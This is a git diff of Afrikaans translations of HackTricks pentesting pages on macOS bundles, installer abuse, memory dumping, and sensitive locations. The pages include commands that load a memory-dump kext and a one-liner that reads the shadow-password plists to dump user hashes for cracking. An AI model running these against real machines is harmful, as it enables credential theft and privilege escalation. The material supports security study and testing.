* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
@ -23,9 +24,9 @@ Bundels in macOS dien as houers vir 'n verskeidenheid bronne insluitend toepassi
Binne 'n bundel, veral binne die `<toepassing>.app/Contents/` gids, word 'n verskeidenheid belangrike bronne gehuisves:
* **\_CodeSignature**: Hierdie gids stoor kode-ondertekeningsbesonderhede wat noodsaaklik is vir die verifikasie van die toepassing se integriteit. Jy kan die kode-ondertekeningsinligting inspekteer met bevele soos: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%%
* **MacOS**: Bevat die uitvoerbare binêre van die toepassing wat loop wanneer die gebruiker interaksie het.
* **MacOS**: Bevat die uitvoerbare binêre van die toepassing wat hardloop wanneer die gebruiker interaksie het.
* **Hulpbronne**: 'n Berging vir die toepassing se gebruikerskoppelvlakkomponente insluitend beelde, dokumente, en koppelvlakbeskrywings (nib/xib lêers).
* **Info.plist**: Tree op as die toepassing se hoofkonfigurasie-lêer, noodsaaklik vir die stelsel om die toepassing toepaslik te herken en mee te interageer.
* **Info.plist**: Tree op as die toepassing se hoofkonfigurasie lêer, noodsaaklik vir die stelsel om die toepassing toepaslik te herken en mee te interageer.
#### Belangrike Sleutels in Info.plist
@ -33,13 +34,13 @@ Die `Info.plist` lêer is 'n hoeksteen vir toepassingskonfigurasie, wat sleutels
* **CFBundleExecutable**: Spesifiseer die naam van die hoofuitvoerbare lêer wat in die `Contents/MacOS` gids geleë is.
* **CFBundleIdentifier**: Verskaf 'n globale identifiseerder vir die toepassing, wat wyd deur macOS gebruik word vir toepassingsbestuur.
* **LSMinimumSystemVersion**: Dui die minimum weergawe van macOS aan wat vir die toepassing nodig is om te loop.
* **LSMinimumSystemVersion**: Dui die minimum weergawe van macOS aan wat vir die toepassing benodig word om te hardloop.
### Verken Bundels
Om die inhoud van 'n bundel te verken, soos `Safari.app`, kan die volgende bevel gebruik word: `bash ls -lR /Applications/Safari.app/Contents`
Hierdie verkenning onthul gids soos `_CodeSignature`, `MacOS`, `Hulpbronne`, en lêers soos `Info.plist`, wat elk 'n unieke doel dien van die beveiliging van die toepassing tot die definisie van sy gebruikerskoppelvlak- en operasionele parameters.
Hierdie verkenning onthul gids soos `_CodeSignature`, `MacOS`, `Hulpbronne`, en lêers soos `Info.plist`, wat elk 'n unieke doel dien vanaf die beveiliging van die toepassing tot die definisie van sy gebruikerskoppelvlak en operasionele parameters.
#### Addisionele Bundelgidse
@ -53,16 +54,17 @@ Hierdie struktuur verseker dat alle nodige komponente binne die bundel ingesluit
Vir meer gedetailleerde inligting oor `Info.plist` sleutels en hul betekenisse, bied die Apple-ontwikkelaardokumentasie uitgebreide bronne: [Apple Info.plist Sleutelverwysing](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html).
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# macOS Installer Misbruik
{% hint style="success" %}
Leer en oefen AWS Hacken: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP Hacken: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of de [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Pkg Basiese Inligting
'n macOS **installeerpakket** (ook bekend as 'n `.pkg` lêer) is 'n lêerformaat wat deur macOS gebruik word om **sagteware te versprei**. Hierdie lêers is soos 'n **kas wat alles bevat wat 'n stuk sagteware** nodig het om korrek te installeer en te hardloop.
Die pakketlêer self is 'n argief wat 'n **hiërargie van lêers en gideons bevat wat op die teikenrekenaar geïnstalleer sal word**. Dit kan ook **skripte** insluit om take voor en na die installasie uit te voer, soos die opstel van konfigurasie lêers of die opruiming van ou weergawes van die sagteware.
Die pakketlêer self is 'n argief wat 'n **hiërargie van lêers en gideons bevat wat op die teikenrekenaar geïnstalleer sal word**. Dit kan ook **skripte** insluit om take voor en na die installasie uit te voer, soos die opstel van konfigurasie lêers of die skoonmaak van ou weergawes van die sagteware.
### Hiërargie
@ -26,11 +27,11 @@ Die pakketlêer self is 'n argief wat 'n **hiërargie van lêers en gideons beva
* **Verspreiding (xml)**: Aanpassings (titel, welkomsteks...) en skrip/installasie kontroles
* **PackageInfo (xml)**: Inligting, installeer vereistes, installeer ligging, paaie na skripte om uit te voer
* **Materiaallys (bom)**: Lys van lêers om te installeer, op te dateer of te verwyder met lêerregte
* **Vrag (CPIO argief gzip saamgedruk)**: Lêers om te installeer in die `installeer-ligging` vanaf PackageInfo
* **Skripte (CPIO argief gzip saamgedruk)**: Voor en na installasie skripte en meer bronne wat onttrek is na 'n tydelike gids vir uitvoering.
* **Materiaalstaat (bom)**: Lys van lêers om te installeer, op te dateer of te verwyder met lêerregte
* **Vrag (CPIO argief gzip saamgedruk)**: Lêers om in die `installeer-ligging` van PackageInfo te installeer
* **Skripte (CPIO argief gzip saamgedruk)**: Voor en na installasie skripte en meer bronne wat na 'n tydelike gids onttrek word vir uitvoering.
### Ontsaamstellen
### Dekomprimeer
```bash
# Tool to directly get the files inside a package
pkgutil —expand "/path/to/package.pkg" "/path/to/out/dir"
@ -44,9 +45,11 @@ xar -xf "/path/to/package.pkg"
cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts
```
Om die inhoud van die installateur te visualiseer sonder om dit handmatig te dekomprimeer, kan jy ook die gratis gereedskap [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/) gebruik.
## DMG Basiese Inligting
DMG-lêers, of Apple Skyfafbeeldings, is 'n lêerformaat wat deur Apple se macOS vir skyfafbeeldings gebruik word. 'n DMG-lêer is essensieel 'n **monteerbare skyfafbeelding** (dit bevat sy eie lêersisteem) wat rou blokdata bevat wat tipies saamgedruk en soms versleutel is. Wanneer jy 'n DMG-lêer oopmaak, **monteer macOS dit asof dit 'n fisiese skyf was**, wat jou in staat stel om by sy inhoud te kom.
DMG-lêers, of Apple Skyfafbeeldings, is 'n lêerformaat wat deur Apple se macOS vir skyfafbeeldings gebruik word. 'n DMG-lêer is essensieel 'n **monteerbare skyfafbeelding** (dit bevat sy eie lêersisteem) wat rou blokdata bevat wat tipies gecomprimeer en soms versleutel is. Wanneer jy 'n DMG-lêer oopmaak, **monteer macOS dit asof dit 'n fisiese skyf was**, wat jou in staat stel om by sy inhoud te kom.
{% hint style="danger" %}
Let daarop dat **`.dmg`** installateurs **so baie formate** ondersteun dat in die verlede sommige van hulle wat kwesbaarhede bevat het, misbruik is om **kernel-kode-uitvoering** te verkry.
@ -58,29 +61,29 @@ Let daarop dat **`.dmg`** installateurs **so baie formate** ondersteun dat in di
Die hiërargie van 'n DMG-lêer kan verskil op grond van die inhoud. Vir aansoek-DMGs volg dit gewoonlik hierdie struktuur:
- Bo-vlak: Dit is die wortel van die skyfafbeelding. Dit bevat dikwels die aansoek en moontlik 'n skakel na die Toepassings-vouer.
- Aansoek (.app): Dit is die werklike aansoek. In macOS is 'n aansoek tipies 'n pakkie wat baie individuele lêers en vouers bevat wat die aansoek uitmaak.
- Toepassingskakel: Dit is 'n kortpad na die Toepassings-vouer in macOS. Die doel hiervan is om dit vir jou maklik te maak om die aansoek te installeer. Jy kan die .app-lêer na hierdie kortpad sleep om die aansoek te installeer.
* Bo-vlak: Dit is die wortel van die skyfafbeelding. Dit bevat dikwels die aansoek en moontlik 'n skakel na die Toepassings-vouer.
* Aansoek (.app): Dit is die werklike aansoek. In macOS is 'n aansoek tipies 'n pakkie wat baie individuele lêers en vouers bevat wat die aansoek uitmaak.
* Toepassingskakel: Dit is 'n kortpad na die Toepassings-vouer in macOS. Die doel hiervan is om dit vir jou maklik te maak om die aansoek te installeer. Jy kan die .app-lêer na hierdie kortpad sleep om die aansoek te installeer.
## Privesc via pkg-misbruik
### Uitvoering vanaf openbare gids
As 'n voor- of na-installasieskrip byvoorbeeld uitgevoer word vanaf **`/var/tmp/Installerutil`**, en 'n aanvaller daardie skrip kan beheer, kan hy voorregte eskaleer wanneer dit uitgevoer word. Of 'n soortgelyke voorbeeld:
As 'n voor- of na-installasieskrip byvoorbeeld uitgevoer word vanaf **`/var/tmp/Installerutil`**, en 'n aanvaller daardie skrip kan beheer, kan hy voorregte eskaleer wanneer dit uitgevoer word. Of 'n ander soortgelyke voorbeeld:
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption><p><a href="https://www.youtube.com/watch?v=kCXhIYtODBg">https://www.youtube.com/watch?v=kCXhIYtODBg</a></p></figcaption></figure>
### AuthorizationExecuteWithPrivileges
Dit is 'n [openbare funksie](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) wat verskeie installateurs en opdateringsoproep om iets as root uit te voer. Hierdie funksie aanvaar die **pad** van die **lêer** om as parameter **uit te voer**, maar as 'n aanvaller hierdie lêer kon **verander**, sal hy in staat wees om die uitvoering daarvan met root te **misbruik** om voorregte te **eskaleer**.
Dit is 'n [openbare funksie](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) wat verskeie installateurs en opdateringsoproep om iets as root uit te voer. Hierdie funksie aanvaar die **pad** van die **lêer** om as parameter **uit te voer**, maar as 'n aanvaller hierdie lêer kon **verander**, sal hy in staat wees om sy uitvoering met root te **misbruik** om voorregte te **eskaleer**.
```bash
# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
# You could also check FS events to find this missconfig
```
### Uitvoering deur te koppel
### Uitvoering deur montering
Indien 'n installeerder skryf na `/tmp/fixedname/bla/bla`, is dit moontlik om **'n koppeling te skep** oor `/tmp/fixedname` sonder eienaars, sodat jy **enige lêer tydens die installasie kan wysig** om die installasieproses te misbruik.
Indien 'n installeerder skryf na `/tmp/fixedname/bla/bla`, is dit moontlik om **'n montering te skep** oor `/tmp/fixedname` met geen eienaars, sodat jy **enige lêer tydens die installasie kan wysig** om die installasieproses te misbruik.
'n Voorbeeld hiervan is **CVE-2021-26089** wat daarin geslaag het om 'n periodieke skripsie te **oorwryf om uitvoering as 'n hoofgebruiker te kry**. Vir meer inligting, kyk na die aanbieding: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
@ -98,6 +101,6 @@ Dit is moontlik om **`<script>`** etikette by die **verspreidings-xml** lêer va
## Verwysings
* [**DEF CON 27 - Ontpakkings Pkgs 'n Blik Binne-in Macos Installer Pakkette En Algemene Sekuriteitsfoute**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**DEF CON 27 - Ontpakkings Pkgs 'n Blik Binne-in Macos Installer-pakkette en Algemene Sekuriteitsfoute**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**OBTS v4.0: "Die Wildernis van macOS-installeerders" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
* [**DEF CON 27 - Ontpakkings Pkgs 'n Blik Binne-in MacOS Installer Pakkette**](https://www.youtube.com/watch?v=kCXhIYtODBg)
* [**DEF CON 27 - Ontpakkings Pkgs 'n Blik Binne-in MacOS Installer-pakkette**](https://www.youtube.com/watch?v=kCXhIYtODBg)

View file

@ -1,28 +1,29 @@
# macOS Geheue Dumping
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromiteer** is deur **steelware**.
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneeminge en losgeldaanvalle te beveg wat voortspruit uit inligtingsteelware.
Die primêre doel van WhiteIntel is om rekeningoorname en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
@ -32,25 +33,25 @@ Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
### Ruil Lêers
Ruil lêers, soos `/private/var/vm/swapfile0`, dien as **kasgeheue wanneer die fisiese geheue vol is**. Wanneer daar nie meer spasie in fisiese geheue is nie, word die data na 'n ruil lêer oorgedra en dan weer na fisiese geheue gebring soos benodig. Verskeie ruil lêers mag teenwoordig wees, met name soos swapfile0, swapfile1, ensovoorts.
Ruil lêers, soos `/private/var/vm/swapfile0`, dien as **kasgeheue wanneer die fisiese geheue vol is**. Wanneer daar nie meer spasie in die fisiese geheue is nie, word die data na 'n ruil lêer oorgedra en dan weer na die fisiese geheue gebring as dit nodig is. Verskeie ruil lêers kan teenwoordig wees, met name soos swapfile0, swapfile1, ensovoorts.
### Hiberneer Beeld
Die lêer wat geleë is by `/private/var/vm/sleepimage` is noodsaaklik tydens **hibernasie-modus**. **Data vanaf geheue word in hierdie lêer gestoor wanneer OS X hiberneer**. Met die ontwaking van die rekenaar, haal die stelsel geheuedata uit hierdie lêer, wat die gebruiker in staat stel om voort te gaan waar hulle opgehou het.
Die lêer wat geleë is by `/private/var/vm/sleepimage` is noodsaaklik tydens **hibernasiemodus**. **Data vanaf die geheue word in hierdie lêer gestoor wanneer OS X hiberneer**. Met die ontwaking van die rekenaar haal die stelsel geheuedata uit hierdie lêer, sodat die gebruiker kan voortgaan waar hulle opgehou het.
Dit is die moeite werd om op te let dat op moderne MacOS-stelsels, hierdie lêer tipies versleutel is vir veiligheidsredes, wat herwinning moeilik maak.
Dit is die moeite werd om op te let dat op moderne MacOS-stelsels hierdie lêer tipies vir sekuriteitsredes versleutel is, wat herwinning moeilik maak.
* Om te kontroleer of versleuteling geaktiveer is vir die sleepimage, kan die opdrag `sysctl vm.swapusage` uitgevoer word. Dit sal wys of die lêer versleutel is.
### Geheue Druk Logs
'n Ander belangrike geheue-verwante lêer in MacOS-stelsels is die **geheue druk log**. Hierdie logboeke is geleë in `/var/log` en bevat gedetailleerde inligting oor die stelsel se geheuegebruik en drukgebeure. Dit kan veral nuttig wees vir die diagnose van geheue-verwante probleme of om te verstaan hoe die stelsel geheue oor tyd bestuur.
'n Ander belangrike geheueverwante lêer in MacOS-stelsels is die **geheuedruklog**. Hierdie logboeke is geleë in `/var/log` en bevat gedetailleerde inligting oor die stelsel se geheuegebruik en drukgebeure. Dit kan veral nuttig wees vir die diagnose van geheueverwante probleme of om te verstaan hoe die stelsel oor tyd geheue bestuur.
## Dumping geheue met osxpmem
## Dumping van geheue met osxpmem
Om die geheue in 'n MacOS-rekenaar te dump, kan jy [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) gebruik.
**Nota**: Die volgende instruksies sal slegs werk vir Macs met Intel-argitektuur. Hierdie instrument is nou ge-argiveer en die laaste vrystelling was in 2017. Die binêre lêer wat afgelaai is met die instruksies hieronder, teiken Intel skyfies aangesien Apple Silicon nie rondom was in 2017 nie. Dit mag moontlik wees om die binêre lêer vir arm64-argitektuur te kompileer, maar jy sal dit self moet probeer.
**Nota**: Die volgende instruksies sal slegs werk vir Macs met Intel-argitektuur. Hierdie instrument is nou gearchiveer en die laaste vrystelling was in 2017. Die binêre lêer wat met die instruksies hieronder afgelaai is, teiken Intel-skyfies omdat Apple Silicon nie in 2017 bestaan het nie. Dit mag moontlik wees om die binêre lêer vir arm64-argitektuur te kompileer, maar jy sal dit self moet probeer.
```bash
#Dump raw format
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
@ -58,14 +59,14 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
#Dump aff4 format
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
```
Indien jy hierdie fout vind: `osxpmem.app/MacPmem.kext kon nie laai nie - (libkern/kext) verifikasie mislukking (lêer eienaarskap/permisies); kyk na die stelsel/kernel logs vir foute of probeer kextutil(8)` Jy kan dit regmaak deur:
Indien jy hierdie fout vind: `osxpmem.app/MacPmem.kext kon nie laai nie - (libkern/kext) verifikasie mislukking (lêereienaarskap/permisies); kyk na die stelsel/kernel-logboeke vir foute of probeer kextutil(8)` Jy kan dit regmaak deur:
```bash
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
sudo kextutil "/tmp/MacPmem.kext"
#Allow the kext in "Security & Privacy --> General"
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
```
**Ander foute** kan dalk reggestel word deur **die laai van die kext** in "Sekuriteit & Privaatheid --> Algemeen", net **laai** dit.
**Ander foute** kan reggestel word deur **die laai van die kext toe te staan** in "Sekuriteit & Privaatheid --> Algemeen", net **staan** dit toe.
Jy kan ook hierdie **eenlynige kode** gebruik om die aansoek af te laai, die kext te laai en die geheue te dump:
@ -80,24 +81,25 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** **gekompromiteer** is.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** gekompromitteer is.
Hul primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligting-diewe malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# macOS Sensitiewe Liggings & Interessante Daemons
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Wagwoorde
### Skadu-wagwoorde
Skadu-wagwoord word saam met die gebruiker se konfigurasie gestoor in pliste wat geleë is in **`/var/db/dslocal/nodes/Default/users/`**.\
Skadu-wagwoord word saam met die gebruiker se opset gestoor in pliste wat geleë is in **`/var/db/dslocal/nodes/Default/users/`**.\
Die volgende eenlynige kode kan gebruik word om **alle inligting oor die gebruikers** (insluitend hasinligting) te dump:
{% code overflow="wrap" %}
@ -29,7 +30,7 @@ for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"
[**Skripte soos hierdie een**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) of [**hierdie een**](https://github.com/octomagon/davegrohl.git) kan gebruik word om die hash na **hashcat-formaat** te omskep.
'n Alternatiewe een-liner wat geloofsbriewe van alle nie-diensrekeninge in hashcat-formaat `-m 7100` (macOS PBKDF2-SHA512) sal dump:
